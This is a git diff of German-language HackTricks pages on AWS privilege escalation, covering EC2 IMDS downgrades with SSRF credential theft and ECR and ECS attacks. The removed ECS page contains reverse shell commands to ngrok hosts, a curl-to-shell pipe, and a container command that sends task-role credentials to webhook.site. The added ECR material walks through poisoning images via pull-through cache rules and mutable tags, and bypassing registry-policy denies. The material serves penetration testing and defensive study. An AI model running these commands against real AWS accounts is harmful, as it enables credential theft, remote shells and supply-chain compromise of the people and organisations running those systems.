+- Erforderliche Berechtigungen: `ec2:ModifyInstanceMetadataOptions` auf der Zielinstanz (zusätzlich die Möglichkeit, auf dem Host eine SSRF zu erreichen/auszulösen).
+- Zielressource: Die laufende EC2-Instanz mit angehängtem Instance Profile (IAM-Rolle).
+
+Beispielbefehle:
+```bash
+# 1) Check current metadata settings
+aws ec2 describe-instances --instance-id <INSTANCE_ID> \
+--query 'Reservations[0].Instances[0].MetadataOptions'
+
+# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
+aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
+--http-endpoint enabled --http-tokens optional \
+--http-put-response-hop-limit 3 --instance-metadata-tags enabled
+
+# 3) Through the SSRF, enumerate role name
+curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
+
+# 4) Through the SSRF, steal the temporary credentials
+curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"
+
+# 5) Use the stolen credentials
+export AWS_ACCESS_KEY_ID=<AccessKeyId>
+export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
+export AWS_SESSION_TOKEN=<Token>
+aws sts get-caller-identity
+
+# 6) Restore protections (require IMDSv2, low hop limit)
+aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
+--http-tokens required --http-put-response-hop-limit 1
+```
+Potentielle Auswirkung: Diebstahl von Instance-Profile-Zugangsdaten durch SSRF, was zu Privilegieneskalation und lateraler Bewegung mit den EC2-Rollenberechtigungen führt.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
deleted file mode 100644
index 53d283b3d..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
+++ /dev/null
@@ -1,100 +0,0 @@
-# AWS - ECR Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
-
-Ein Angreifer mit der **`ecr:GetAuthorizationToken`** und **`ecr:BatchGetImage`** kann sich bei ECR anmelden und Bilder herunterladen.
-
-Für weitere Informationen zum Herunterladen von Bildern:
-
-{{#ref}}
-../aws-post-exploitation/aws-ecr-post-exploitation.md
-{{#endref}}
-
-**Potenzielle Auswirkungen:** Indirekte Privilegieneskalation durch Abfangen sensibler Informationen im Verkehr.
-
-### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
-
-Ein Angreifer mit all diesen Berechtigungen **kann sich bei ECR anmelden und Bilder hochladen**. Dies kann nützlich sein, um Privilegien in andere Umgebungen zu eskalieren, in denen diese Bilder verwendet werden.
-
-Um zu lernen, wie man ein neues Bild hochlädt oder ein bestehendes aktualisiert, siehe:
-
-{{#ref}}
-../aws-services/aws-eks-enum.md
-{{#endref}}
-
-### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
-
-Wie im vorherigen Abschnitt, aber für öffentliche Repositories.
-
-### `ecr:SetRepositoryPolicy`
-
-Ein Angreifer mit dieser Berechtigung könnte **die** **Repository** **Richtlinie** **ändern**, um sich selbst (oder sogar allen) **Lese-/Schreibzugriff** zu gewähren.\
-Zum Beispiel wird in diesem Beispiel allen Lesezugriff gewährt.
-```bash
-aws ecr set-repository-policy \
---repository-name <repo_name> \
---policy-text file://my-policy.json
-```
-Inhalt von `my-policy.json`:
-```json
-{
-"Version": "2008-10-17",
-"Statement": [
-{
-"Sid": "allow public pull",
-"Effect": "Allow",
-"Principal": "*",
-"Action": [
-"ecr:BatchCheckLayerAvailability",
-"ecr:BatchGetImage",
-"ecr:GetDownloadUrlForLayer"
-]
-}
-]
-}
-```
-### `ecr-public:SetRepositoryPolicy`
-
-Wie im vorherigen Abschnitt, aber für öffentliche Repositories.\
-Ein Angreifer kann **die Repository-Richtlinie** eines ECR Public Repositories ändern, um unbefugten öffentlichen Zugriff zu gewähren oder um seine Berechtigungen zu eskalieren.
-```bash
-bashCopy code# Create a JSON file with the malicious public repository policy
-echo '{
-"Version": "2008-10-17",
-"Statement": [
-{
-"Sid": "MaliciousPublicRepoPolicy",
-"Effect": "Allow",
-"Principal": "*",
-"Action": [
-"ecr-public:GetDownloadUrlForLayer",
-"ecr-public:BatchGetImage",
-"ecr-public:BatchCheckLayerAvailability",
-"ecr-public:PutImage",
-"ecr-public:InitiateLayerUpload",
-"ecr-public:UploadLayerPart",
-"ecr-public:CompleteLayerUpload",
-"ecr-public:DeleteRepositoryPolicy"
-]
-}
-]
-}' > malicious_public_repo_policy.json
-
-# Apply the malicious public repository policy to the ECR Public repository
-aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
-```
-**Potenzielle Auswirkungen**: Unbefugter öffentlicher Zugriff auf das ECR Public-Repository, der es jedem Benutzer ermöglicht, Bilder zu pushen, zu pullen oder zu löschen.
-
-### `ecr:PutRegistryPolicy`
-
-Ein Angreifer mit dieser Berechtigung könnte die **Registry-Richtlinie** **ändern**, um sich selbst, seinem Konto (oder sogar allen) **Lese-/Schreibzugriff** zu gewähren.
-```bash
-aws ecr set-repository-policy \
---repository-name <repo_name> \
---policy-text file://my-policy.json
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
new file mode 100644
index 000000000..00124330d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
@@ -0,0 +1,268 @@
+# AWS - ECR Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
+
+Ein attacker mit den **`ecr:GetAuthorizationToken`** und **`ecr:BatchGetImage`** kann sich bei ECR anmelden und Images herunterladen.
+
+Für weitere Informationen, wie man Images herunterlädt:
+
+{{#ref}}
+../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
+{{#endref}}
+
+**Potential Impact:** Indirect privesc durch Abfangen sensibler Informationen im Traffic.
+
+### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
+
+Ein attacker mit all diesen Berechtigungen **kann sich bei ECR anmelden und Images hochladen**. Dies kann nützlich sein, um Privilegien auf andere Umgebungen zu eskalieren, in denen diese Images verwendet werden.
+
+Um zu lernen, wie man ein neues Image hochlädt/aktualisiert, siehe:
+
+{{#ref}}
+../../aws-services/aws-eks-enum.md
+{{#endref}}
+
+### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
+
+Wie der vorherige Abschnitt, aber für öffentliche Repositories.
+
+### `ecr:SetRepositoryPolicy`
+
+Ein attacker mit dieser Berechtigung könnte die **repository** **policy** **ändern**, um sich selbst (oder sogar allen) **Lese/Schreib-Zugriff** zu gewähren.\
+Zum Beispiel wird in diesem Beispiel Lesezugriff für alle gewährt.
+```bash
+aws ecr set-repository-policy \
+--repository-name <repo_name> \
+--policy-text file://my-policy.json
+```
+Inhalt von `my-policy.json`:
+```json
+{
+"Version": "2008-10-17",
+"Statement": [
+{
+"Sid": "allow public pull",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
+}
+```
+### `ecr-public:SetRepositoryPolicy`
+
+Wie im vorherigen Abschnitt, aber für öffentliche Repositories.\
+Ein Angreifer kann die **Repository-Richtlinie** eines ECR Public repository ändern, um unbefugten öffentlichen Zugriff zu gewähren oder seine Privilegien zu eskalieren.
+```bash
+# Create a JSON file with the malicious public repository policy
+echo '{
+"Version": "2008-10-17",
+"Statement": [
+{
+"Sid": "MaliciousPublicRepoPolicy",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"ecr-public:GetDownloadUrlForLayer",
+"ecr-public:BatchGetImage",
+"ecr-public:BatchCheckLayerAvailability",
+"ecr-public:PutImage",
+"ecr-public:InitiateLayerUpload",
+"ecr-public:UploadLayerPart",
+"ecr-public:CompleteLayerUpload",
+"ecr-public:DeleteRepositoryPolicy"
+]
+}
+]
+}' > malicious_public_repo_policy.json
+
+# Apply the malicious public repository policy to the ECR Public repository
+aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
+```
+**Potential Impact**: Unbefugter öffentlicher Zugriff auf das ECR Public repository, wodurch jeder Benutzer Images pushen, pullen oder löschen kann.
+
+### `ecr:PutRegistryPolicy`
+
+Ein Angreifer mit dieser Berechtigung könnte die **Registry-Policy** **ändern**, um sich selbst, sein Konto (oder sogar alle) **Lese-/Schreibzugriff** zu gewähren.
+```bash
+aws ecr set-repository-policy \
+--repository-name <repo_name> \
+--policy-text file://my-policy.json
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### ecr:CreatePullThroughCacheRule
+
+Missbrauche ECR Pull Through Cache (PTC)-Regeln, um einen attacker-controlled upstream-Namespace an ein vertrauenswürdiges privates ECR-Präfix zu binden. Dadurch erhalten Workloads, die vom privaten ECR ziehen, transparent attacker images, ohne dass ein Push ins private ECR erforderlich ist.
+
+- Erforderliche Berechtigungen: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Wenn ECR Public als upstream verwendet wird: ecr-public:* zum Erstellen/Pushen in das öffentliche Repository.
+- Getesteter Upstream: public.ecr.aws
+
+Schritte (Beispiel):
+
+1. Bereite attacker image in ECR Public vor
+# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
+docker login public.ecr.aws/<public_alias>
+docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
+docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
+
+2. Erstelle die PTC-Regel im privaten ECR, um ein vertrauenswürdiges Präfix auf das öffentliche Registry abzubilden
+aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
+
+3. Ziehe das attacker image über den privaten ECR-Pfad (es wurde kein Push in das private ECR durchgeführt)
+docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
+docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
+docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
+
+Potential Impact: Supply-chain compromise durch Hijacking interner Image-Namen unter dem gewählten Präfix. Jede Workload, die Images aus dem privaten ECR mit diesem Präfix zieht, erhält attacker-controlled Content.
+
+### `ecr:PutImageTagMutability`
+
+Missbrauche diese Berechtigung, um ein Repository mit tag immutability auf mutable zu setzen und vertrauenswürdige Tags (z. B. latest, stable, prod) mit attacker-controlled Content zu überschreiben.
+
+- Erforderliche Berechtigungen: `ecr:PutImageTagMutability` plus Push-Funktionen (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
+- Auswirkung: Supply-chain compromise durch stilles Ersetzen immutable Tags, ohne die Tag-Namen zu ändern.
+
+Schritte (Beispiel):
+
+<details>
+<summary>Einen immutable Tag vergiften, indem man die Mutability umschaltet</summary>
+```bash
+REGION=us-east-1
+REPO=ht-immutable-demo-$RANDOM
+aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
+acct=$(aws sts get-caller-identity --query Account --output text)
+aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+# Build and push initial trusted tag
+printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+# Attempt overwrite while IMMUTABLE (should fail)
+printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+# Flip to MUTABLE and overwrite
+aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+# Validate consumers pulling by tag now get the poisoned image (prints V2)
+docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
+```
+</details>
+
+
+#### Global registry hijack über ROOT Pull-Through Cache-Regel
+
+Erstellen Sie eine Pull-Through Cache (PTC)-Regel mit dem speziellen `ecrRepositoryPrefix=ROOT`, um die Root des privaten ECR-Registries auf ein upstream öffentliches Registry (z. B. ECR Public) abzubilden. Jeder Pull zu einem nicht existierenden Repository im privaten Registry wird transparent vom Upstream bedient, wodurch supply-chain hijacking möglich ist, ohne in das private ECR zu pushen.
+
+- Erforderliche Berechtigungen: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
+- Auswirkung: Pulls zu `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` gelingen und erstellen automatisch private Repositories, die vom Upstream stammen.
+
+> Hinweis: Bei `ROOT`-Regeln `--upstream-repository-prefix` weglassen. Die Angabe davon führt zu einem Validierungsfehler.
+
+<details>
+<summary>Demo (us-east-1, upstream public.ecr.aws)</summary>
+```bash
+REGION=us-east-1
+ACCT=$(aws sts get-caller-identity --query Account --output text)
+
+# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
+aws ecr create-pull-through-cache-rule \
+--region "$REGION" \
+--ecr-repository-prefix ROOT \
+--upstream-registry-url public.ecr.aws
+
+# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com
+
+# Example using an official mirror path hosted in ECR Public
+# (public.ecr.aws/docker/library/alpine:latest)
+docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest
+
+# 3) Verify repo and image now exist without any push
+aws ecr describe-repositories --region "$REGION" \
+--query "repositories[?repositoryName==docker/library/alpine]"
+aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED
+
+# 4) Cleanup
+aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
+aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true
+```
+</details>
+
+### `ecr:PutAccountSetting` (Herabstufen von `REGISTRY_POLICY_SCOPE`, um Registry-Policy-Denies zu umgehen)
+
+Missbrauche `ecr:PutAccountSetting`, um den Registry-Policy‑Scope von `V2` (Policy angewendet auf alle ECR-Aktionen) auf `V1` (Policy angewendet nur auf `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`) zu wechseln. Wenn eine restriktive Registry-Policy Deny Aktionen wie `CreatePullThroughCacheRule` blockiert, entfernt das Herabstufen auf `V1` diese Durchsetzung, sodass identity‑policy Allows wirksam werden.
+
+- Erforderliche Berechtigungen: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
+- Auswirkung: Möglichkeit, ECR-Aktionen auszuführen, die zuvor durch eine Registry-Policy Deny blockiert wurden (z. B. Erstellen von PTC-Regeln), indem der Scope vorübergehend auf `V1` gesetzt wird.
+
+Schritte (Beispiel):
+
+<details>
+<summary>Registry-Policy-Deny bei `CreatePullThroughCacheRule` umgehen, indem auf `V1` gewechselt wird</summary>
+```bash
+REGION=us-east-1
+ACCT=$(aws sts get-caller-identity --query Account --output text)
+
+# 0) Snapshot current scope/policy (for restore)
+aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
+aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json
+
+# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
+aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
+cat > /tmp/deny-ptc.json <<'JSON'
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "DenyPTCAll",
+"Effect": "Deny",
+"Principal": "*",
+"Action": ["ecr:CreatePullThroughCacheRule"],
+"Resource": "*"
+}
+]
+}
+JSON
+aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION
+
+# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
+set +e
+aws ecr create-pull-through-cache-rule \
+--region $REGION \
+--ecr-repository-prefix ptc-deny-test \
+--upstream-registry-url public.ecr.aws
+RC=$?
+set -e
+if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi
+
+# 3) Downgrade scope to V1 and retry (should SUCCEED now)
+aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
+aws ecr create-pull-through-cache-rule \
+--region $REGION \
+--ecr-repository-prefix ptc-deny-test \
+--upstream-registry-url public.ecr.aws
+
+# 4) Verify rule exists
+aws ecr describe-pull-through-cache-rules --region $REGION \
+--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"
+
+# 5) Cleanup and restore
+aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
+if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
+jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
+aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
+else
+aws ecr delete-registry-policy --region $REGION || true
+fi
+aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
+```
+</details>
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
deleted file mode 100644
index 8978d86fa..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ /dev/null
@@ -1,327 +0,0 @@
-# AWS - ECS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Mehr **Infos zu ECS** in:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
-
-Ein Angreifer, der die Berechtigung `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS missbraucht, kann **eine neue Task-Definition erstellen**, die einen **bösartigen Container** enthält, der die metadata credentials stiehlt, und **diesen starten**.
-
-{{#tabs }}
-{{#tab name="Reverse Shell" }}
-```bash
-# Generate task definition with rev shell
-aws ecs register-task-definition --family iam_exfiltration \
---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
---network-mode "awsvpc" \
---cpu 256 --memory 512\
---requires-compatibilities "[\"FARGATE\"]" \
---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
-
-# Run task definition
-aws ecs run-task --task-definition iam_exfiltration \
---cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
---launch-type FARGATE \
---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
-
-# Delete task definition
-## You need to remove all the versions (:1 is enough if you just created one)
-aws ecs deregister-task-definition --task-definition iam_exfiltration:1
-```
-{{#endtab }}
-
-{{#tab name="Webhook" }}
-
-Erstelle einen webhook mit einer Seite wie webhook.site
-```bash
-
-# Create file container-definition.json
-[
-{
-"name": "exfil_creds",
-"image": "python:latest",
-"entryPoint": ["sh", "-c"],
-"command": [
-"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
-]
-}
-]
-
-# Run task definition, uploading the .json file
-aws ecs register-task-definition \
---family iam_exfiltration \
---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
---network-mode "awsvpc" \
---cpu 256 \
---memory 512 \
---requires-compatibilities FARGATE \
---container-definitions file://container-definition.json
-
-# Check the webhook for a response
-
-# Delete task definition
-## You need to remove all the versions (:1 is enough if you just created one)
-aws ecs deregister-task-definition --task-definition iam_exfiltration:1
-
-```
-{{#endtab }}
-
-{{#endtabs }}
-
-**Potential Impact:** Direkter privesc zu einer anderen ECS-Rolle.
-
-### `iam:PassRole`,`ecs:RunTask`
-Ein Angreifer, der über die Berechtigungen `iam:PassRole` und `ecs:RunTask` verfügt, kann einen neuen ECS-Task starten und dabei die Werte der **execution role**, **task role** und des Container-**command** ändern. Das CLI-Kommando `ecs run-task` enthält das Flag `--overrides`, mit dem zur Laufzeit die Werte `executionRoleArn`, `taskRoleArn` und das Container-`command` geändert werden können, ohne die Task-Definition zu verändern.
-
-Die angegebenen IAM-Rollen für `taskRoleArn` und `executionRoleArn` müssen in ihrer Trust-Policy zulassen, dass sie von `ecs-tasks.amazonaws.com` übernommen werden.
-
-Außerdem muss der Angreifer wissen:
-- ECS-Cluster-Name
-- VPC-Subnetz
-- Security Group (falls keine Security Group angegeben ist, wird die Standardgruppe verwendet)
-- Name und Revision der Task Definition
-- Name des Containers
-```bash
-aws ecs run-task \
---cluster <cluster-name> \
---launch-type FARGATE \
---network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
---task-definition <task-definition:revision> \
---overrides '
-{
-"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
-"containerOverrides": [
-{
-"name": <container-name>,
-"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
-}
-]
-}'
-```
-Im obigen Code-Snippet überschreibt ein Angreifer nur den Wert `taskRoleArn`. Der Angreifer muss jedoch die Berechtigung `iam:PassRole` für das in dem Befehl angegebene `taskRoleArn` und für das in der Task-Definition angegebene `executionRoleArn` besitzen, damit der Angriff stattfinden kann.
-
-Wenn die IAM-Rolle, die der Angreifer übergeben kann, genügend Berechtigungen hat, ein ECR-Image zu ziehen und die ECS-Task zu starten (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), dann kann der Angreifer dieselbe IAM-Rolle sowohl für `executionRoleArn` als auch für `taskRoleArn` im `ecs run-task`-Befehl angeben.
-```sh
-aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
-{
-"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
-"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
-"containerOverrides": [
-{
-"name": "<container-name>",
-"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
-}
-]
-}'
-```
-**Potential Impact:** Direkter privesc auf jede ECS task role.
-
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
-
-Wie im vorherigen Beispiel kann ein Angreifer, der die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`**-Berechtigungen in ECS missbraucht, eine **neue Task-Definition** mit einem **bösartigen Container** erzeugen, der die Metadaten-Anmeldeinformationen stiehlt und sie **ausführt**.\
-Allerdings muss in diesem Fall eine container instance vorhanden sein, um die bösartige Task-Definition auszuführen.
-```bash
-# Generate task definition with rev shell
-aws ecs register-task-definition --family iam_exfiltration \
---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
---network-mode "awsvpc" \
---cpu 256 --memory 512\
---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
-
-aws ecs start-task --task-definition iam_exfiltration \
---container-instances <instance_id>
-
-# Delete task definition
-## You need to remove all the versions (:1 is enough if you just created one)
-aws ecs deregister-task-definition --task-definition iam_exfiltration:1
-```
-**Potential Impact:** Direkter privesc auf jede ECS-Rolle.
-
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
-
-Wie im vorherigen Beispiel kann ein Angreifer, der die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** Berechtigungen in ECS missbraucht, **eine neue Task-Definition erzeugen** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt, und **diese ausführen, indem er einen neuen Service erstellt, der mindestens 1 Task ausführt.**
-```bash
-# Generate task definition with rev shell
-aws ecs register-task-definition --family iam_exfiltration \
---task-role-arn  "$ECS_ROLE_ARN" \
---network-mode "awsvpc" \
---cpu 256 --memory 512\
---requires-compatibilities "[\"FARGATE\"]" \
---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
-
-# Run the task creating a service
-aws ecs create-service --service-name exfiltration \
---task-definition iam_exfiltration \
---desired-count 1 \
---cluster "$CLUSTER_ARN" \
---launch-type FARGATE \
---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
-
-# Run the task updating a service
-aws ecs update-service --cluster <CLUSTER NAME> \
---service <SERVICE NAME> \
---task-definition <NEW TASK DEFINITION NAME>
-```
-**Mögliche Auswirkung:** Direkter privesc auf jede ECS-Rolle.
-
-### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
-
-Tatsächlich ist es mit genau diesen Berechtigungen möglich, overrides zu verwenden, um beliebige Befehle in einem Container mit einer beliebigen Rolle auszuführen, etwa so:
-```bash
-aws ecs run-task \
---task-definition "<task-name>" \
---overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
---cluster <cluster-name> \
---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
-```
-**Potential Impact:** Direkter privesc auf jede ECS-Rolle.
-
-### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
-
-Dieses Szenario ist wie die vorherigen, jedoch **ohne** die **`iam:PassRole`**-Berechtigung.\
-Das ist trotzdem interessant, denn wenn du einen beliebigen Container starten kannst, selbst ohne Rolle, könntest du einen privilegierten Container ausführen, um auf den Knoten zu entkommen und die EC2 IAM-Rolle sowie die Rollen der anderen ECS-Container, die auf dem Knoten laufen, zu stehlen.\
-Du könntest sogar andere Tasks dazu zwingen, innerhalb der kompromittierten EC2-Instanz zu laufen, um ihre Anmeldeinformationen zu stehlen (wie im [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) besprochen).
-
-> [!WARNING]
-> Dieser Angriff ist nur möglich, wenn der **ECS-Cluster EC2-Instanzen verwendet** und nicht Fargate.
-```bash
-printf '[
-{
-"name":"exfil_creds",
-"image":"python:latest",
-"entryPoint":["sh", "-c"],
-"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
-"mountPoints": [
-{
-"readOnly": false,
-"containerPath": "/var/run/docker.sock",
-"sourceVolume": "docker-socket"
-}
-]
-}
-]' > /tmp/task.json
-
-printf '[
-{
-"name": "docker-socket",
-"host": {
-"sourcePath": "/var/run/docker.sock"
-}
-}
-]' > /tmp/volumes.json
-
-
-aws ecs register-task-definition --family iam_exfiltration \
---cpu 256 --memory 512 \
---requires-compatibilities '["EC2"]' \
---container-definitions file:///tmp/task.json \
---volumes file:///tmp/volumes.json
-
-
-aws ecs run-task --task-definition iam_exfiltration \
---cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
---launch-type EC2
-
